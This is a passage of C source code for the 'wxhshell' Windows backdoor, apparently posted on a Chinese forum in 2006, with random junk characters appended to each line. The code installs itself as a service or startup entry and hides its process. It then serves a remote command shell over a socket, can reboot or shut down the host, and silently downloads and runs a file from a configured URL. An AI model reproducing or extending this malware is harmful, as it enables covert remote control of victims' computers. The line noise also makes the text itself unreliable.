  case '?': { ect$g#  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Y=g]\%-PB  
    break; H8=:LF  
  } 7[UD;&\k  
  // 安装 Tku6X/LF  
  case 'i': { "z;R"sv\  
    if(Install()) T7Y}v,+-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~sPXkLqK  
    else &flRrJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5jUy[w @  
    break; y)a)VvU":  
    } Pai8r%Zfu  
  // 卸载 M_ >kefr  
  case 'r': { lI+^}-<  
    if(Uninstall()) ^E:-Uy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xSNGf@1b  
    else cza_LO(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qxsHhyB_n;  
    break; ts}OE  
    } |lg jI!iK  
  // 显示 wxhshell 所在路径 oveK;\7/m  
  case 'p': { DvB{N`COd  
    char svExeFile[MAX_PATH]; IkjJqz  
    strcpy(svExeFile,"\n\r"); G%AO%II  
      strcat(svExeFile,ExeFile); oif|X7H;  
        send(wsh,svExeFile,strlen(svExeFile),0); ,<)D3K<  
    break; ZoSyc--Bv  
    } KfYU.Q  
  // 重启 ~!Nw]lb!  
  case 'b': { cofdDHXfQI  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &1?6Q_p6c  
    if(Boot(REBOOT)) F|qMo|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0a^bAEP  
    else { *|<~IQg  
    closesocket(wsh); 6H5o/)Q~  
    ExitThread(0); zy nX9t  
    } XWQ `]m)  
    break; lX)AbK]nb  
    } .4tu{\YX  
  // 关机  _cj=}!I  
  case 'd': { #D|%r-:"  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 1X5Yp|Ho  
    if(Boot(SHUTDOWN)) ;1 {=t!z=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  -gS9I^  
    else { II|;_j  
    closesocket(wsh); ,aGIq. *v  
    ExitThread(0); 1K<}  
    } UZrEFpi  
    break; FQ1B%u|  
    } VltM{-k^  
  // 获取shell e&U$;sS`  
  case 's': { saQs<1  
    CmdShell(wsh); iLNUydiS  
    closesocket(wsh); .UQ|k,,t  
    ExitThread(0); 9_iwikD  
    break; _*%K!%}l=  
  } {*TB }Xsr,  
  // 退出 OuEcoIK  
  case 'x': { {wj%WSQj/y  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <FBBR2  
    CloseIt(wsh); 2,`X@N`\  
    break; 8Q$WwiS  
    } qlYi:uygY  
  // 离开 l9="ccM  
  case 'q': { ?kQY ^pU  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); adIrrK  
    closesocket(wsh); %=9o'Y,4  
    WSACleanup(); LjE3|+pJ  
    exit(1); 8IQ}%|lN  
    break; :{iH(ae;  
        } AG9DJ{T  
  } ]= %qm;  
  } h]t v+\0  
yq[/9PciA  
  // 提示信息 ?O#,{ZZf=  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); aF+Lam(  
} VrP{U-`  
  } LO)!Fj4|  
;*j K!  
  return; 1G5AL2  
} qve'Gm)  
iz^uj  
// shell模块句柄 y$]<m+1  
int CmdShell(SOCKET sock) "``>ii  
{ lGWz  
STARTUPINFO si; |C z7_Rn  
ZeroMemory(&si,sizeof(si)); Wq<oP  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; M(K7xx+G  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; j,^&U|!  
PROCESS_INFORMATION ProcessInfo; rC_1f3A  
char cmdline[]="cmd"; d]O:VghY\  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); SsW<,T  
  return 0; 2XeyNX  
} XWS]4MB+vm  
s9CmR]C  
// 自身启动模式 L{&2 P  
int StartFromService(void) QJ(%rvn3  
{ ='b)6R  
typedef struct XK3O,XM  
{ n:/!{.  
  DWORD ExitStatus; ~nmFZ] y  
  DWORD PebBaseAddress; hIV]ZYbH  
  DWORD AffinityMask;  "q M  
  DWORD BasePriority; 2DFsMT>X  
  ULONG UniqueProcessId; WVpx  
  ULONG InheritedFromUniqueProcessId; JFX}))7  
}   PROCESS_BASIC_INFORMATION; x cAs}y}  
ydO+=R0M  
PROCNTQSIP NtQueryInformationProcess; IS(F_< .  
*`u|1}h|  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >xS({1A}  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; cb]X27uww  
b<~8\\ &  
  HANDLE             hProcess; 77[TqRLf  
  PROCESS_BASIC_INFORMATION pbi; r1-MO`6  
Xzg >/w 8J  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); mJ<`/p?:  
  if(NULL == hInst ) return 0; grgs r_)[  
dGOFSH  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [>a3` 0M  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1] =X  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .uauSx/#4  
J~WT;s  
  if (!NtQueryInformationProcess) return 0; E-C]<{`O  
B <r0y  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); K<5yjG8&  
  if(!hProcess) return 0; "A+7G5  
) u{ ]rb[  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; TxF^zx\  
_";w*lg}  
  CloseHandle(hProcess); Ds"%=  
V? tH/P  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); VNT?  
if(hProcess==NULL) return 0; "Tser*i )  
>Z_;ZMu)  
HMODULE hMod; sS ?A<D  
char procName[255]; =Mwuhk|*  
unsigned long cbNeeded; Cscu   
myX&Z F_9  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); U"8Hw@  
MF'Z?M  
  CloseHandle(hProcess); ?sdSi--  
^$'z#ZN1  
if(strstr(procName,"services")) return 1; // 以服务启动 qypF}Pw  
hu0z 36  
  return 0; // 注册表启动 Q ]TZyk  
} na $MR3@e  
[Lje?M* r  
// 主模块 - JEPh!oTt  
int StartWxhshell(LPSTR lpCmdLine) PZ6R+n8  
{ f4.jWBF  
  SOCKET wsl; ${z#{c1  
BOOL val=TRUE; %$zak@3%'  
  int port=0; Q3hf =&$  
  struct sockaddr_in door; azIhp{rH w  
Ln&~t(7  
  if(wscfg.ws_autoins) Install(); z{ eZsh b  
} G{"Mp4  
port=atoi(lpCmdLine); In?+  
W*S4gPGM  
if(port<=0) port=wscfg.ws_port; &AxtSIpucP  
?Ybq]J\q  
  WSADATA data; rWJ5C\R  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; zdPJ>PNU  
P^F3,'N  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   d.w]\  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Mn&_R{{=  
  door.sin_family = AF_INET; JL#LCU ?  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;\A_-a_(#  
  door.sin_port = htons(port); 6;Z`9PGp  
^`lDw  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &8i$`6wY  
closesocket(wsl); )=gU~UV  
return 1; u*%mUh  
} 2 ^"j]g>mj  
u0+F2+ I  
  if(listen(wsl,2) == INVALID_SOCKET) { o9| OL  
closesocket(wsl); 36co 'a4,  
return 1; iTdamu`L  
} ?QF xds  
  Wxhshell(wsl); \(Nx)F  
  WSACleanup(); 2dHO!A$RF  
HP*{1Q@5  
return 0; O95gdxc  
bnL!PsG$K,  
} $ s1/Rmw  
CzreX3i  
// 以NT服务方式启动 1!)'dL0mI  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) p8j4Tc5tQ>  
{ Jjj;v2uSK  
DWORD   status = 0; PJm@fK(j  
  DWORD   specificError = 0xfffffff; 3r[F1z2B  
$'>iNMtK{p  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ua=7YG  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; >3b< Fq$  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; #'f5owk>,  
  serviceStatus.dwWin32ExitCode     = 0;  ZaaBg  
  serviceStatus.dwServiceSpecificExitCode = 0; sd+_NtH  
  serviceStatus.dwCheckPoint       = 0; W.{+0xx  
  serviceStatus.dwWaitHint       = 0; rkWy3X{%2<  
8*?H~q~  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %$b}o7U"s  
  if (hServiceStatusHandle==0) return; f-i5tnh  
qB@N|Bb  
status = GetLastError(); )O*h79t^Q  
  if (status!=NO_ERROR) '-f` 5X  
{ aLLI\3  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 0#Us *:[6  
    serviceStatus.dwCheckPoint       = 0; \rh+\9(  
    serviceStatus.dwWaitHint       = 0; dzbbFvG  
    serviceStatus.dwWin32ExitCode     = status; )R<93`q  
    serviceStatus.dwServiceSpecificExitCode = specificError; X xwcvE  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Rq2bj_j  
    return; nt&% sM-X  
  } #%$@[4 "V  
T:%0i8p  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; "UY34a^I  
  serviceStatus.dwCheckPoint       = 0; mPPB"uQ  
  serviceStatus.dwWaitHint       = 0; s+ *LVfau  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9+ve0P7$  
} U . <c#S  
krlebPs[  
// 处理NT服务事件,比如:启动、停止 &'/PEOu&}G  
VOID WINAPI NTServiceHandler(DWORD fdwControl) O['[_1n_u]  
{ \jZmu  
switch(fdwControl) K0'p*[yO/j  
{ 7|Wst)_~j  
case SERVICE_CONTROL_STOP: ,=@WE> ip  
  serviceStatus.dwWin32ExitCode = 0; peS4<MqWu  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; %( %EEt  
  serviceStatus.dwCheckPoint   = 0; P^q!Pye  
  serviceStatus.dwWaitHint     = 0; ebL0cK?  
  { SMB&sl  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 96!2 @c{  
  } "tmu23xQ  
  return; 1 Cz}|#U  
case SERVICE_CONTROL_PAUSE: pXQ$n:e  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; &432/=QSm0  
  break; N7 _rVcDe  
case SERVICE_CONTROL_CONTINUE: =NK'xPr  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; P?8$VAkj  
  break; pK>/c>de  
case SERVICE_CONTROL_INTERROGATE: Zl!  
  break; }HbUB$5  
}; ]$UTMuO Ql  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \:JY[s/  
} i(# Fjp  
:$X dR:f}}  
// 标准应用程序主函数 CAA 3-"Cwi  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _S &6XNV  
{ (o\D=!a  
B/~ubw  
// 获取操作系统版本 Z]Z&PbP  
OsIsNt=GetOsVer(); 7Y 4D9pw  
GetModuleFileName(NULL,ExeFile,MAX_PATH);  )iPU   
8JMxA2tZhG  
  // 从命令行安装 ^s=F<_{  
  if(strpbrk(lpCmdLine,"iI")) Install(); h,fahbH -  
?WS.RBe2  
  // 下载执行文件 #H8QX5b)  
if(wscfg.ws_downexe) { S!R (ae^}  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \D%n8O  
  WinExec(wscfg.ws_filenam,SW_HIDE); E%f!SD  
} hn&NypI  
wv%UsfD  
if(!OsIsNt) { d-8g  
// 如果时win9x,隐藏进程并且设置为注册表启动 M|.ykA<D  
HideProc(); QNcl    
StartWxhshell(lpCmdLine); VdL }$CX$  
} jfa<32`0E  
else ]h=y  
  if(StartFromService()) 2:[G4  
  // 以服务方式启动 KWw?W1H  
  StartServiceCtrlDispatcher(DispatchTable); dr"@2=Z  
else MLDAr dvK  
  // 普通方式启动 ;O .;i,#Z  
  StartWxhshell(lpCmdLine); LXc;`]  
3/su1M[  
return 0; FlH=Pqc  
}
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只看该作者 1 发表于: 2006-10-10
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